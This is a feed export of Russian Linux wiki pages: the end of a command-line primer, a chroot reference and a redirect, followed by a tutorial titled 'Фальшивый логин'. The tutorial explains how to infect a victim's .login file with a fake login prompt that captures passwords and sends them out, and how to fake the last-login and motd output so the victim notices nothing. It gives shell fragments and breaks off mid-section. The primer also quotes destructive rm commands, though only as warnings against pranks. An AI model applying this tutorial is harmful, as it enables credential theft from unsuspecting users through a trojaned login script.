Настоятельно не рекомендуется входить под именем root, а только исполнять команды с использованием sudo в случае необходимости. Разумеется, не рекомендуется запускать программы, полученные из сомнительных источников, с правами суперпользователя. Не рекомендуется также выполнять от имени root команды, которых вы не понимаете. Вообще говоря, программы из сомнительных источников и непонятные команды вообще выполнять не рекомендуется.&lt;br /&gt;
&lt;br /&gt;
Иногда нехорошие люди «шутят» над новичками, рекомендуя им выполнить команду &amp;lt;tt&amp;gt;sudo rm --no-preserve-root -rf /&amp;lt;/tt&amp;gt; или &amp;lt;tt&amp;gt;sudo rm -rf /*&amp;lt;/tt&amp;gt;. Как можно понять, прочитав &amp;lt;tt&amp;gt;man rm&amp;lt;/tt&amp;gt;, эта команда удалит все файлы на жёстком диске. Впрочем, в современных дистрибутивах либо сам shell, либо rm может спросить подтверждение. Поэтому теперь обычно советуют выполнить &amp;lt;tt&amp;gt;rm -rf ~/*&amp;lt;/tt&amp;gt;, которая удалит все файлы в домашнем каталоге пользователя.&lt;br /&gt;
&lt;br /&gt;
== Заключение ==&lt;br /&gt;
После чтения этой статьи вы должны знать, что такое командная строка, как получить к ней доступ на вашем компьютере, какие бывают команды и как их вводить, как сохранить данные в файл и как дать программе на обработку данные из файла.&lt;br /&gt;
&lt;br /&gt;
Большинство утилит командной строки работают одинаково во всех дистрибутивах, в отличие от графических утилит. Поэтому не удивляйтесь, если в ответ на вопрос на форуме вас попросят ввести какую-либо команду: скорее всего, вам предлагают наиболее универсальное решение.&lt;br /&gt;
&lt;br /&gt;
Если вам хочется узнать больше о возможностях командной строки, о том, как комбинировать команды и так далее, прочтите руководство к вашему интерпретатору команд. В случае &amp;lt;tt&amp;gt;bash&amp;lt;/tt&amp;gt; рекомендуем прочитать «Advanced Bash Scripting Guide», он есть и в переводе на русский. Надеемся также, что и в этой Вики появятся статьи об использовании командной строки.&lt;br /&gt;
&lt;br /&gt;
== Примечания ==&lt;br /&gt;
&amp;lt;references /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* В общем, надо, чтобы «чайник» в случае необходимости мог воспользоваться консольной утилитой или хотя бы выполнить команду, которую ему подскажут на форуме.&lt;/div&gt;</summary>
		<author><name>Admin</name></author>
	</entry>
	<entry>
		<id>http://lorwiki.zhbert.ru/index.php?title=%D0%A7%D1%82%D0%BE_%D1%82%D0%B0%D0%BA%D0%BE%D0%B5_chroot&amp;diff=407</id>
		<title>Что такое chroot</title>
		<link rel="alternate" type="text/html" href="http://lorwiki.zhbert.ru/index.php?title=%D0%A7%D1%82%D0%BE_%D1%82%D0%B0%D0%BA%D0%BE%D0%B5_chroot&amp;diff=407"/>
		<updated>2023-02-27T18:39:19Z</updated>

		<summary type="html">&lt;p&gt;Admin: 1 версия импортирована&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;chroot — команда для смены корневой директории (&amp;lt;tt&amp;gt;/&amp;lt;/tt&amp;gt;) на любую доступную в этой ОС. Смена корневой директории происходит с выполнением программы (по умолчанию &amp;lt;tt&amp;gt;/bin/sh&amp;lt;/tt&amp;gt;). Для выполнения chroot вы должны быть [[Root|суперпользователем]] &amp;lt;br&amp;gt;&lt;br /&gt;
SYNOPSIS:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
chroot	[-g group[,group[,...]]] [-u user] newroot [command]&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Опции ==&lt;br /&gt;
* &amp;lt;tt&amp;gt;-g&amp;lt;/tt&amp;gt; — устанавливает группы, первую указанную устанавливает в качестве основной (должна найтись в &amp;lt;tt&amp;gt;/etc/groups&amp;lt;/tt&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;tt&amp;gt;-u&amp;lt;/tt&amp;gt; — устанавливает пользователя (по умолчанию [[root]]) (должен найтись в базе данных пользователей).&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;tt&amp;gt;newroot&amp;lt;/tt&amp;gt; — новая корневая директория.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;tt&amp;gt;command&amp;lt;/tt&amp;gt; — команда, которую надо выполнить.&lt;br /&gt;
&lt;br /&gt;
== Пример использования ==&lt;br /&gt;
Из статьи «[[Восстановление GRUB]]»:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=sh&amp;gt;&lt;br /&gt;
for f in proc sys dev; do mount -o bind /$f /mnt/$f; done&lt;br /&gt;
chroot /mnt /usr/sbin/grub-install /dev/sdX&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Системный вызов chroot ==&lt;br /&gt;
Программа chroot использует системный вызов chroot(2) для смены корневой директории. &amp;lt;br&amp;gt;&lt;br /&gt;
SYNOPSIS:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=c&amp;gt;&lt;br /&gt;
#include &amp;lt;unistd.h&amp;gt;&lt;br /&gt;
int &lt;br /&gt;
chroot(const char *dirname);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Параметры:&lt;br /&gt;
* &amp;lt;tt&amp;gt;dirname&amp;lt;/tt&amp;gt; — директория, которую необходимо сделать корневой.&lt;br /&gt;
&lt;br /&gt;
Возвращаемые значения:&lt;br /&gt;
* «0» — директория успешно сделана корневой.&lt;br /&gt;
* «-1» — произошла ошибка (какая именно — смотрим код в глобальной переменной &amp;lt;tt&amp;gt;errno&amp;lt;/tt&amp;gt;) и корневая директория не изменена.&lt;br /&gt;
Ошибки в &amp;lt;tt&amp;gt;errno&amp;lt;/tt&amp;gt;:&lt;br /&gt;
* &amp;lt;tt&amp;gt;ENOTDIR&amp;lt;/tt&amp;gt; — &amp;lt;tt&amp;gt;dirname&amp;lt;/tt&amp;gt; не является директорией.&lt;br /&gt;
* &amp;lt;tt&amp;gt;ENAMETOOLONG&amp;lt;/tt&amp;gt; — &amp;lt;tt&amp;gt;dirname&amp;lt;/tt&amp;gt; является слишком длинным путем (длина больше &amp;lt;tt&amp;gt;PATH_MAX&amp;lt;/tt&amp;gt;).&lt;br /&gt;
* &amp;lt;tt&amp;gt;ENOTENT&amp;lt;/tt&amp;gt; — директории &amp;lt;tt&amp;gt;dirname&amp;lt;/tt&amp;gt; не существует.&lt;br /&gt;
* &amp;lt;tt&amp;gt;EACCES&amp;lt;/tt&amp;gt; — в праве поиска для какого-либо компонента пути отказано.&lt;br /&gt;
* &amp;lt;tt&amp;gt;ELOOP&amp;lt;/tt&amp;gt; — слишком много символьных ссылок встречается в каком-либо компоненте пути.&lt;br /&gt;
* &amp;lt;tt&amp;gt;EFAULT&amp;lt;/tt&amp;gt; — &amp;lt;tt&amp;gt;dirname&amp;lt;/tt&amp;gt; находится вне адресного пространства процесса.&lt;br /&gt;
* &amp;lt;tt&amp;gt;EIO&amp;lt;/tt&amp;gt; — ошибка ввода-вывода при чтении или записи ФС.&lt;br /&gt;
* &amp;lt;tt&amp;gt;EPERM&amp;lt;/tt&amp;gt; — вызов был произведен процессом не от имени [[root]] (нужно запускать программу от имени суперпользователя).&lt;br /&gt;
&lt;br /&gt;
После успешного завершения вызова &amp;lt;tt&amp;gt;chroot&amp;lt;/tt&amp;gt; можно выполнять программу в новой корневой директории с помощью одной из функций семейства &amp;lt;tt&amp;gt;exec&amp;lt;/tt&amp;gt; или выполнить другие действия.&lt;br /&gt;
&lt;br /&gt;
== Ссылки ==&lt;br /&gt;
* [https://man.openbsd.org/man8/chroot.8 Руководство от OpenBSD по chroot(8)]&lt;br /&gt;
* [https://man.openbsd.org/man2/chroot.2 Системный вызов chroot(2) в OpenBSD]&lt;br /&gt;
* [https://github.com/openbsd/src/blob/master/usr.sbin/chroot/chroot.c Исходный код программы chroot(8) в OpenBSD — пример использования системного вызова chroot]&lt;/div&gt;</summary>
		<author><name>Admin</name></author>
	</entry>
	<entry>
		<id>http://lorwiki.zhbert.ru/index.php?title=%D0%A7%D0%B0%D1%81%D1%82%D1%8C_2._%D0%AF%D0%B7%D1%8B%D0%BA%D0%BE%D0%B2%D1%8B%D0%B5_%D0%BA%D0%BE%D0%BD%D1%81%D1%82%D1%80%D1%83%D0%BA%D1%86%D0%B8%D0%B8_Lisp._%D0%9F%D1%80%D0%B8%D0%BC%D0%B5%D1%80%D1%8B&amp;diff=405</id>
		<title>Часть 2. Языковые конструкции Lisp. Примеры</title>
		<link rel="alternate" type="text/html" href="http://lorwiki.zhbert.ru/index.php?title=%D0%A7%D0%B0%D1%81%D1%82%D1%8C_2._%D0%AF%D0%B7%D1%8B%D0%BA%D0%BE%D0%B2%D1%8B%D0%B5_%D0%BA%D0%BE%D0%BD%D1%81%D1%82%D1%80%D1%83%D0%BA%D1%86%D0%B8%D0%B8_Lisp._%D0%9F%D1%80%D0%B8%D0%BC%D0%B5%D1%80%D1%8B&amp;diff=405"/>
		<updated>2023-02-27T18:39:19Z</updated>

		<summary type="html">&lt;p&gt;Admin: 1 версия импортирована&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;#перенаправление [[Lisp Часть 2 Языковые конструкции и примеры.]]&lt;/div&gt;</summary>
		<author><name>Admin</name></author>
	</entry>
	<entry>
		<id>http://lorwiki.zhbert.ru/index.php?title=%D0%A4%D0%B0%D0%BB%D1%8C%D1%88%D0%B8%D0%B2%D1%8B%D0%B9_%D0%BB%D0%BE%D0%B3%D0%B8%D0%BD&amp;diff=403</id>
		<title>Фальшивый логин</title>
		<link rel="alternate" type="text/html" href="http://lorwiki.zhbert.ru/index.php?title=%D0%A4%D0%B0%D0%BB%D1%8C%D1%88%D0%B8%D0%B2%D1%8B%D0%B9_%D0%BB%D0%BE%D0%B3%D0%B8%D0%BD&amp;diff=403"/>
		<updated>2023-02-27T18:39:19Z</updated>

		<summary type="html">&lt;p&gt;Admin: 1 версия импортирована&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== О ЧЕМ СТАТЬЯ? ===&lt;br /&gt;
&lt;br /&gt;
Данная статья описывает имитацию консольного входа в систему FreeBSD и Linux на языке shell'а.&lt;br /&gt;
&lt;br /&gt;
=== ВСТУПЛЕНИЕ: ===&lt;br /&gt;
&lt;br /&gt;
В wiki я новичок и по оформлению - в зуб ногой, поэтому вставляю статью в виде plain-текста. Просьба - кому не лень, приведите текст к нормальному форматированию и удалите эту просьбу и пред. предложение.&lt;br /&gt;
Прочитавших статью настоятельно прошу потестировать прилагаемые sh-скрипты на своей системе или дать советы по их совершенствованию и отписаться в комментариях. Если кто может - дайте ссылку на мини-дистрибутив весом в одну floppy-дискету или небольшой iso-образ с OpenBSD, NetBSD, BeOS, QNX или еще какой редкой системой. Просто мой медленный модем не позволяет качать из сети огроменные iso-образы с дистрибутивами.&lt;br /&gt;
&lt;br /&gt;
   &amp;gt;&amp;gt;&amp;gt; С уважением, AndreyMust19&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
При создании статьи использовались следующие системы:&lt;br /&gt;
* В качестве FreeBSD - FreeBSD 5.2.1&lt;br /&gt;
* В качестве Linux - Linux knoppix_debian 2.6.17&lt;br /&gt;
&lt;br /&gt;
в дальнейшем работа была протестирована на:&lt;br /&gt;
* FrenzyBSD 6.1-STABLE&lt;br /&gt;
* Knoppix DSL 2.4.16&lt;br /&gt;
&lt;br /&gt;
Теоретически должно работать на FreeBSD с 3.0 и на Linux с 2.4&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== Вариант 1. Фальшивый вход в систему ===&lt;br /&gt;
&lt;br /&gt;
==== Действия ====&lt;br /&gt;
&lt;br /&gt;
Заразить начало файла '.login' . Внедренный код должен вывести фразу &amp;quot;Неверный вход&amp;quot;, чтобы пользователь решил, что ошибся при вводе логина или пароля. Затем самому потребовать ввести логин и пароль, а пользователь все еще будет думать, что об этом его просит операционная система. С большой долей вероятности пользователь введет правильный логин и пароль - мы сохраним их в файл и вышлем по сети или перенесем в публичные файлы.&lt;br /&gt;
&lt;br /&gt;
После этого надо вывести на экран информацию о последнем входе (login так всегда делает). Далее выполнение файла .login продолжится в нормальном режиме, поскольку юзер уже вошел в систему, когда первый раз вводил пароль и логин.&lt;br /&gt;
&lt;br /&gt;
==== Неверный вход ====&lt;br /&gt;
&lt;br /&gt;
Фраза &amp;quot;Неверный вход&amp;quot; одинакова во всех системах и выглядит как &amp;quot;Login incorrect\n&amp;quot;. Ее можно вывести командой echo.&lt;br /&gt;
&lt;br /&gt;
==== Логин и пароль ====&lt;br /&gt;
&lt;br /&gt;
Дальше надо вывести такие слова login и password, чтобы они совпадали с настоящими. Перед словом &amp;quot;login&amp;quot; может стоять название системы, а после слова &amp;quot;Password:&amp;quot; может стоять лишний пробел. Эти слова зависят от системы, для Linux:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;&amp;lt;pre style=&amp;quot;white-space: pre-wrap;&amp;quot;&amp;gt;&lt;br /&gt;
login = '&amp;lt;host&amp;gt; login: '&lt;br /&gt;
password = 'Password: '&lt;br /&gt;
&amp;lt;/pre&amp;gt;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
, где &amp;lt;host&amp;gt; - короткое имя машины.&lt;br /&gt;
&lt;br /&gt;
а для FreeBSD:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;&amp;lt;pre style=&amp;quot;white-space: pre-wrap;&amp;quot;&amp;gt;&lt;br /&gt;
login = 'login: '&lt;br /&gt;
password = 'Password:'&lt;br /&gt;
&amp;lt;/pre&amp;gt;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Если мы будем использовать эти текстовые константы, то наша гадость провалится, если этот текст выводится на другом языке. Правильнее будет проанализировать конфигурацию системы и решить - какой текст нужно вывести.&lt;br /&gt;
Если все сделать правильно, в соответствии с текущей системой, фальшивый вход в систему не будет отличаться от настоящего. Для вывода строк можно 'echo -n &amp;quot;login&amp;quot;', а ключ -n нужен, чтобы курсор не переносился на след. строку. Для отключения эховывода сделать 'stty -echo', а после ввода пароля - восстановить его командой 'stty echo'. Для чтения логина и пароля cat не годится, так как это одна строка, поэтому читать введенные данные будем командой 'head -n 1'.&lt;br /&gt;
&lt;br /&gt;
==== Время последнего входа ====&lt;br /&gt;
&lt;br /&gt;
Как известно, перед входом в систему, login говорит - когда последний раз вошли под этой учетной записью и на какой консоли:&lt;br /&gt;
&amp;lt;code&amp;gt;&amp;lt;pre style=&amp;quot;white-space: pre-wrap;&amp;quot;&amp;gt;&lt;br /&gt;
Last login: Thu Jun 25 22:49:58 on ttyv2&lt;br /&gt;
&amp;lt;/pre&amp;gt;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Некоторые юзеры внимательно относятся к этому сообщению, так как по нему можно узнать, что в систему входил посторонний. Поэтому отсутствие этого сообщения может насторожить и лучше его вывести на экран.&lt;br /&gt;
&lt;br /&gt;
==== Способ 1 - журнал входов в систему ====&lt;br /&gt;
&lt;br /&gt;
О времени последнего входа в Linux нам скажет lastlog:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;&amp;lt;pre style=&amp;quot;white-space: pre-wrap;&amp;quot;&amp;gt;&lt;br /&gt;
$ lastlog -u $(whoami)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&amp;lt;/code&amp;gt;&lt;br /&gt;
А во FreeBSD такую же информацию даст команда lastlogin:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;&amp;lt;pre style=&amp;quot;white-space: pre-wrap;&amp;quot;&amp;gt;&lt;br /&gt;
$ lastlogin $(whoami)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&amp;lt;/code&amp;gt;&lt;br /&gt;
Команда whoami нужна, чтобы подставить вместо нее имя нашей учетной записи. Тоже самое можно сделать, заменив $(whoami) на $USER, но в данном случае USER - это переменная окружения и ее значение можно изменить.&lt;br /&gt;
&lt;br /&gt;
Поскольку программа login выводит информацию до входа в систему, она выводится на английском языке. А после входа в систему команды lastlog и lastlogin делают это на том языке, который установлен в переменной окружения LANG. Поэтому перед выполнением команды надо поменять ее значение на 'us', чтобы мы 100% получили дату на английском языке.&lt;br /&gt;
&lt;br /&gt;
После вызова обе команды приподносят информацию в немного другом формате, нежели login. Линукс:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;&amp;lt;pre style=&amp;quot;white-space: pre-wrap;&amp;quot;&amp;gt;&lt;br /&gt;
$ lastlog -u $(whoami)&lt;br /&gt;
Username	Port	From		Latest&lt;br /&gt;
andrey          ttyv3                   Thu Jun 25 23:18:47 +0400 2009&lt;br /&gt;
&amp;lt;/pre&amp;gt;&amp;lt;/code&amp;gt;&lt;br /&gt;
ФриБСД:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;&amp;lt;pre style=&amp;quot;white-space: pre-wrap;&amp;quot;&amp;gt;&lt;br /&gt;
$ lastlogin $(whoami)&lt;br /&gt;
andrey          ttyv3                   Thu Jun 25 23:18:47 2009&lt;br /&gt;
&amp;lt;/pre&amp;gt;&amp;lt;/code&amp;gt;&lt;br /&gt;
Итак, первая выводит 2 строки, а вторая - одну, причем последняя строка общая. Поэтому извлечем ее:&lt;br /&gt;
&amp;lt;code&amp;gt;&amp;lt;pre style=&amp;quot;white-space: pre-wrap;&amp;quot;&amp;gt;&lt;br /&gt;
$ lastlog -u $(whoami) | tail -n 1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&amp;lt;/code&amp;gt;&lt;br /&gt;
или&lt;br /&gt;
&amp;lt;code&amp;gt;&amp;lt;pre style=&amp;quot;white-space: pre-wrap;&amp;quot;&amp;gt;&lt;br /&gt;
$ lastlogin $(whoami) | tail -n 1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&amp;lt;/code&amp;gt;&lt;br /&gt;
Итак, из полученной строки нам надо извлечь дату и номер терминала. Заметьте, что аргументы разделены не tab'ом, а пробелами, что подтвержает команда hexdump. Как их извлечь? Поскольку у Linux перед годом стоит какое-то непонятное число, обрабатывать строку будет сначала, тем более пробелы в логинах втречаться не должны.&lt;br /&gt;
&lt;br /&gt;
Вобщем, алгоритм такой:&lt;br /&gt;
&lt;br /&gt;
# Записываем строку в переменную.&lt;br /&gt;
# Ищем первый пробел (0x20)&lt;br /&gt;
# Идем к концу строки, пока встречаются любые символы кроме пробелов (пройдем имя)&lt;br /&gt;
# Идем дальше, пропуская пробелы&lt;br /&gt;
# Запоминаем текущую позицию (A)&lt;br /&gt;
# Пропускаем не-пробелы (пройдем имя терминала)&lt;br /&gt;
# Записываем все символы с A до текущей позиции&lt;br /&gt;
# пропускаем пробелы, пока не дойдем до даты&lt;br /&gt;
# Запоминаем позицию в B&lt;br /&gt;
# Ищем 4 пробела и затем копируем в переменную символы от B до текущей позиции&lt;br /&gt;
&lt;br /&gt;
Можно использовать другой алгоритм, с конца, но тогда в начале придется пропустить еще одно слово, если мы работаем на Linux-системе.&lt;br /&gt;
&lt;br /&gt;
# Записываем строку в переменную.&lt;br /&gt;
# Посл. символ == 0Ah, значит продолжаем&lt;br /&gt;
# Ищем первый 0x20 с конца (B)&lt;br /&gt;
# Двигаемся к началу и пропускаем еще 4 пробела (A)&lt;br /&gt;
# Выкусываем строку от A до B (это дата и время логина)&lt;br /&gt;
# Двигаемся к началу, пока встречается 0x20 (D)&lt;br /&gt;
# Двигаемся к началу, пока не встретится 0x20 (C)&lt;br /&gt;
# Выкусываем строку от C до D (это будет название консоли)&lt;br /&gt;
&lt;br /&gt;
В конце выводим на экран полученные строки:&lt;br /&gt;
&amp;lt;code&amp;gt;&amp;lt;pre style=&amp;quot;white-space: pre-wrap;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;quot;Last login: &amp;quot;, $AB, &amp;quot; on &amp;quot; $CD.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&amp;lt;/code&amp;gt;&lt;br /&gt;
Вывод можно сделать с помощью символа &amp;lt;&amp;lt;.&lt;br /&gt;
&lt;br /&gt;
Теперь, как выполнить все это языком shell'а. Проще всего командой awk. Она сама распознает пробелы, принимая разделенные ими слова за аргументы. Написать надо так:&lt;br /&gt;
&amp;lt;code&amp;gt;&amp;lt;pre style=&amp;quot;white-space: pre-wrap;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;amp; awk '{print $4, $5, $6, $7, &amp;quot;on&amp;quot;, $2}'&lt;br /&gt;
Jun 26 13:37:09 2009 on ttyv2&lt;br /&gt;
&amp;lt;/pre&amp;gt;&amp;lt;/code&amp;gt;&lt;br /&gt;
Тут $4-$7 выводят дату, строка &amp;quot;on&amp;quot; - слово ' on ' с пробелами, а $2 соответствует консоль.&lt;br /&gt;
&lt;br /&gt;
==== Способ 2 - текущая дата ====&lt;br /&gt;
&lt;br /&gt;
И в Linux, и во FreeBSD есть команда date, которая выводит текущую дату. Эту дату можно вывести в любом формате, даже в том, в котором ее выводит login:&lt;br /&gt;
&amp;lt;code&amp;gt;&amp;lt;pre style=&amp;quot;white-space: pre-wrap;&amp;quot;&amp;gt;&lt;br /&gt;
$ date &amp;quot;+%a %b %d %H:%M:%S&amp;quot;&lt;br /&gt;
Fri Jun 26 00:31:54&lt;br /&gt;
&amp;lt;/pre&amp;gt;&amp;lt;/code&amp;gt;&lt;br /&gt;
Можно немного рискнуть и вместо настоящего времени входа вывести текущую дату, а в качестве консоли указать текущую. Если повезет, пользователь ничего не заметит, так как у него уйдет некоторое время на ввод &amp;quot;фальшивого&amp;quot; логина и пароля. Правда эта команда вызовет проблемы во FreeBSD, поскольку в ней нет опции '%a' - над этим надо подумать.&lt;br /&gt;
&lt;br /&gt;
Еще стоит отметить возможность вывести дату, записанную в строке (опция -d), но эта строка не совпадает с форматом строки, выводимой login.&lt;br /&gt;
Текущую консоль можно узнать командой tty. Она не зависит от системы и всегда выводит полный путь терминала:&lt;br /&gt;
&amp;lt;code&amp;gt;&amp;lt;pre style=&amp;quot;white-space: pre-wrap;&amp;quot;&amp;gt;&lt;br /&gt;
$ tty&lt;br /&gt;
/dev/tty2&lt;br /&gt;
&amp;lt;/pre&amp;gt;&amp;lt;/code&amp;gt;&lt;br /&gt;
Можно отбросить первые 5 символов, а для пущей надежности найти последний / и вывести все, что после него.&lt;br /&gt;
&lt;br /&gt;
* Примечание:&lt;br /&gt;
&lt;br /&gt;
Во FreeBSD команда lastlogin выводит только успешные и реально выполненные входы. Предложенный способ 1 будет всегда работать, поскольку /var/log/lastlog всегда будет содержать 7 аргумента:&lt;br /&gt;
&amp;lt;code&amp;gt;&amp;lt;pre style=&amp;quot;white-space: pre-wrap;&amp;quot;&amp;gt;&lt;br /&gt;
root	ttyv0		Fri Apr  9 23:18:48 2009&lt;br /&gt;
andrey	ttyv1		Fri Jun 26 19:16:47 2009&lt;br /&gt;
&amp;lt;/pre&amp;gt;&amp;lt;/code&amp;gt;&lt;br /&gt;
В Linux немного по-другому. В файле /var/log/lastlog записаны все учетные записи, независимо от того, входили под ними в систему или нет:&lt;br /&gt;
&amp;lt;code&amp;gt;&amp;lt;pre style=&amp;quot;white-space: pre-wrap;&amp;quot;&amp;gt;&lt;br /&gt;
Username	Port	From		Latest&lt;br /&gt;
andrey		:0			Fri Jun 26 19:43:28 +0400 2006&lt;br /&gt;
nx					**Never logger in**&lt;br /&gt;
&amp;lt;/pre&amp;gt;&amp;lt;/code&amp;gt;&lt;br /&gt;
Во-первых, есть еще одно поле 'From', а во-вторых, учетная запись, возможно, ни разу еще не использовалась. Неизвестно, как login обработает эти ситуации. Поэтому будем так - подсчитаем кол-во аргументов, если их 8, тогда нам встретилась обычная запись, а в остальных случаях будем выводить текущую дату.&lt;br /&gt;
В команде awk слово NF соответствует кол-ву аргументов в текущей строке. Данная команда выводит &amp;quot;123&amp;quot; если в строке последнего входа 8 аргументов и &amp;quot;hello&amp;quot; в ином случае:&lt;br /&gt;
&amp;lt;code&amp;gt;&amp;lt;pre style=&amp;quot;white-space: pre-wrap;&amp;quot;&amp;gt;&lt;br /&gt;
lag='hello'&lt;br /&gt;
lastlog -u $(whoami) | tail -n 1 | awk -v lag=$lag '{ if (NF == 8) print &amp;quot;123&amp;quot;; print lag }'&lt;br /&gt;
&amp;lt;/pre&amp;gt;&amp;lt;/code&amp;gt;&lt;br /&gt;
Можно заранее получить текущую дату и записать ее в переменную lag:&lt;br /&gt;
&amp;lt;code&amp;gt;&amp;lt;pre style=&amp;quot;white-space: pre-wrap;&amp;quot;&amp;gt;&lt;br /&gt;
$ date &amp;quot;+%c&amp;quot; | awk '{ print substr($0, 1, length $0 - 1),&amp;quot;on&amp;quot;; }'&lt;br /&gt;
&amp;lt;/pre&amp;gt;&amp;lt;/code&amp;gt;&lt;br /&gt;
Можно заранее получить текущую консоль и дату, а затем передать их команде awk:&lt;br /&gt;
&amp;lt;code&amp;gt;&amp;lt;pre style=&amp;quot;white-space: pre-wrap;&amp;quot;&amp;gt;&lt;br /&gt;
$ t=$(tty)		#получаем имя консоли&lt;br /&gt;
$ date &amp;quot;+%c&amp;quot; | awk -v ttt=$t '{ print $0,&amp;quot;on&amp;quot;, substr(ttt, 5, length(ttt) - 4) }'&lt;br /&gt;
Fri Jun 26 21:40:04 2009 on /pts/3&lt;br /&gt;
&amp;lt;/pre&amp;gt;&amp;lt;/code&amp;gt;&lt;br /&gt;
здесь substr отбрасывает первые 4 символа вывода tty (&amp;quot;/dev/pts/3&amp;quot;-&amp;gt;&amp;quot;/pts/3&amp;quot;).&lt;br /&gt;
А вместо 'print &amp;quot;123&amp;quot;' написать вывод даты последнего входа:&lt;br /&gt;
&amp;lt;code&amp;gt;&amp;lt;pre style=&amp;quot;white-space: pre-wrap;&amp;quot;&amp;gt;&lt;br /&gt;
awk '{ print $3,$4,$5,$6,$8,&amp;quot;on&amp;quot;,$2}'&lt;br /&gt;
&amp;lt;/pre&amp;gt;&amp;lt;/code&amp;gt;&lt;br /&gt;
где $8 дополнительно выводит год.&lt;br /&gt;
Но все это изврат, надежней не анализировать строку последнего входа, а просто вывести ее как пологается.&lt;br /&gt;
&lt;br /&gt;
==== Приветствие ====&lt;br /&gt;
&lt;br /&gt;
Во всех системах login, перед запуском оболочки выводит приветствие на экран, текст которого находится в /etc/motd. Если в домашнем каталоге пользователя есть файл '.hushlogin', то приветствие не выводится. На надо это &amp;quot;проэмулировать&amp;quot;:&lt;br /&gt;
&amp;lt;code&amp;gt;&amp;lt;pre style=&amp;quot;white-space: pre-wrap;&amp;quot;&amp;gt;&lt;br /&gt;
if !(test -e ~/.hushlogin) ; then&lt;br /&gt;
	cat /etc/motd 2&amp;gt;/dev/null&lt;br /&gt;
fi&lt;br /&gt;
&amp;lt;/pre&amp;gt;&amp;lt;/code&amp;gt;&lt;br /&gt;
Удаление stderr нужно в том случае, если файла /etc/motd не существует и из-за этого команда cat сообщит об ошибке.&lt;br /&gt;
&lt;br /&gt;
Небольшая особенность есть во FreeBSD. В ней после приветствия выводится копирайт системы:&lt;br /&gt;
&amp;lt;code&amp;gt;&amp;lt;pre style=&amp;quot;white-space: pre-wrap;&amp;quot;&amp;gt;&lt;br /&gt;
Copyright (c) 1992-2004 The FreeBSD Project&lt;br /&gt;
Copyright (c) 1979, 1980, 1983, 1986, 1988, 1989, 1991, 1992, 1993, 1994&lt;br /&gt;
&amp;lt;/pre&amp;gt;&amp;lt;/code&amp;gt;&lt;br /&gt;
Похожие строки есть в файле /COPYRIGHT, но в первой строке есть лишнее &amp;quot;All rights reserved&amp;quot;. К тому же файл этот можно удалить. Вторая строка находится в самой программе login. Но... те же самые 2 строки выводит boot-загрузчик, а также rlogin, хотя в нем такой строки не наблюдается. Неужели они спрашивают ее у ядра?&lt;br /&gt;
&lt;br /&gt;
Поиск строки '1992-2004' в ядре подтвержает:&lt;br /&gt;
&amp;lt;code&amp;gt;&amp;lt;pre style=&amp;quot;white-space: pre-wrap;&amp;quot;&amp;gt;&lt;br /&gt;
$ grep 1992-2004 /boot/kernel/*&lt;br /&gt;
Binary file /boot/kernel/kernel/kernel matches&lt;br /&gt;
&amp;lt;/pre&amp;gt;&amp;lt;/code&amp;gt;&lt;br /&gt;
Тот факт, что эти строки выводятся при загрузке системы позволяет нам прочитать их из файла '/var/run/dmesg.boot'. Поскольку загрузчик выводит их первыми, то они будут находиться в самом начале файла:&lt;br /&gt;
&amp;lt;code&amp;gt;&amp;lt;pre style=&amp;quot;white-space: pre-wrap;&amp;quot;&amp;gt;&lt;br /&gt;
head -n 3 /var/run/dmesg.boot&lt;br /&gt;
&amp;lt;/pre&amp;gt;&amp;lt;/code&amp;gt;&lt;br /&gt;
Затем надо добавить '\n', поскольку перед содержимым файла /etc/motd, выводимым login'ом есть пустая строка.&lt;br /&gt;
&lt;br /&gt;
==== А если мы не введем пароль? ====&lt;br /&gt;
&lt;br /&gt;
Если пользователь не введет пароль через некоторое время, то login сообщит, что время входа истекло. А дополнительно на экране появится заголовок входа. И если хотя бы одно из этих сообщений не совпадет с настоящим, наш план провалится. Оба сообщения также специфичны для разны систем. Для Linux:&lt;br /&gt;
&amp;lt;code&amp;gt;&amp;lt;pre style=&amp;quot;white-space: pre-wrap;&amp;quot;&amp;gt;&lt;br /&gt;
timeout = 'Login timed out after &amp;lt;num&amp;gt; seconds.\n'&lt;br /&gt;
caption = '&amp;lt;system&amp;gt; &amp;lt;os&amp;gt; &amp;lt;version&amp;gt; &amp;lt;hostname&amp;gt; &amp;lt;tty&amp;gt;'&lt;br /&gt;
&amp;lt;/pre&amp;gt;&amp;lt;/code&amp;gt;&lt;br /&gt;
Для FreeBSD&lt;br /&gt;
&amp;lt;code&amp;gt;&amp;lt;pre style=&amp;quot;white-space: pre-wrap;&amp;quot;&amp;gt;&lt;br /&gt;
